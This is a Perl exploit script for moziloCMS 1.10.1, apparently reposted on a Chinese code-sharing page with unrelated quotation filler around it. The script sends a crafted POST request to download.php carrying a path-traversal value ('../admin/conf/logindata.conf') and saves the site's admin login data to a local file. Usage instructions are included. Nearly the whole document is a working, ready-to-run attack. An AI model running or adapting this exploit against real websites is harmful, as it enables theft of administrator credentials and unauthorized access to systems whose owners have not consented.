moziloCMS 1.10.1 (download.php) Arbitrary Download File Exploit

不知人之短,不知人之长,不知人长中之短,不知人短中之长,则不可以用人。鼎不可以挂车,马不可以守闾。惟人亦然,非其才而用之,则用之者,皆受其殃。孙中山《孙中山全集》第五卷,第534页。
#!/usr/bin/perl
#
# moziloCMS 1.10.1 Perl exploit
#
# discovered & written by Ams
# ax330d [doggy] gmail [dot] com
#
# DESCRIPTION:
# Vulnerability hides in "download.php", which we can use to download any file we want to.
# Here, for example, "admin/conf/logindata.conf". (Btw, not very smart solution to keep it open
# not looking on that it is protected by .htaccess)
# Script does not filters global params, it only checks whether local file exists...
# (By the way, all downloads are logged to "/conf/downloads.conf")
#
# USAGE:
# Run exploit :perl expl.pl http://www.site.com
#
# NEEDED:
# magic_quotes_gpc = off
#

use strict;
use IO::Socket;

print "\n\t~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
\n\t\t moziloCMS 1.10.1 exploit (by Ams)
\n\t~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\n";

if(@ARGV<1){
die "\n\tUsage:\texpl.pl [host]\n\n
\n\tExample:\texpl.pl http://localhost/blog/\n\n";
}

my $expl_url = $ARGV[0];

print "\n\t[~] Starting exploit...\n";

if($expl_url =~ m#http://#) {
exploit($expl_url);
} else {
exploit('http://'.$expl_url);
}

sub exploit {

# Defining vars.
my $site = pop @_;
my ($a, $b, $c, @d) = split /\//,$site;
my $path = join('/',@d);
my $host = $c;
if($path) {$path = '/'.$path;}
my ($length, $packet, $downloaded, $injection);

# Revealing /data/sess.php.
print "\n\t[~] Sending request to 'downloads.php'...\n";
$injection = "file=hola&cat=../admin/conf/logindata.conf";
$length = length($injection);
$packet = "POST $path/download.php HTTP/1.1\r\n";
$packet .= "Host: $host\r\n";
$packet .= "Connection: Close\r\n";
$packet .= "Content-Type: application/x-www-form-urlencoded\r\n";
$packet .= "Content-Length: $length\r\n\r\n";
$packet .= "$injection";
$downloaded = send_surprise($host, $packet, 1);

if($downloaded =~ /hackin/) {
print "\n\t[-] Exploiting failed...\n";
} elsif ($downloaded =~ /200 OK/) {
# Parsing and saving received data.
$downloaded =~ /\r\n\r\n/ ;
$downloaded = $';

open(DOWNL, ">hola.txt");
print DOWNL $downloaded;
close(DOWNL);
print "\n\t[ ] Looks like ok! Check hola.txt\n";
} else {
print "\n\t[-] Exploiting failed...\n";
}
}

sub send_surprise() {

my $dat = 1;
my ($host, $packet, $ret) = @_;
my $socket=IO::Socket::INET->new(
Proto=>"tcp",
PeerAddr=>$host,
PeerPort=>"80"
);
if( ! $socket) {
return 0;
} else {

print $socket $packet;
if($ret) {
my $rcv;
while($rcv = <$socket>) {
$dat .= $rcv;
}
}
close ($socket);
return $dat;
}
}

以上就是moziloCMS 1.10.1 (download.php) Arbitrary Download File Exploit 。不知觉的在玻璃窗上呵出你的名字,原来你一向在我心里。更多关于moziloCMS 1.10.1 (download.php) Arbitrary Download File Exploit 请关注haodaima.com其它相关文章!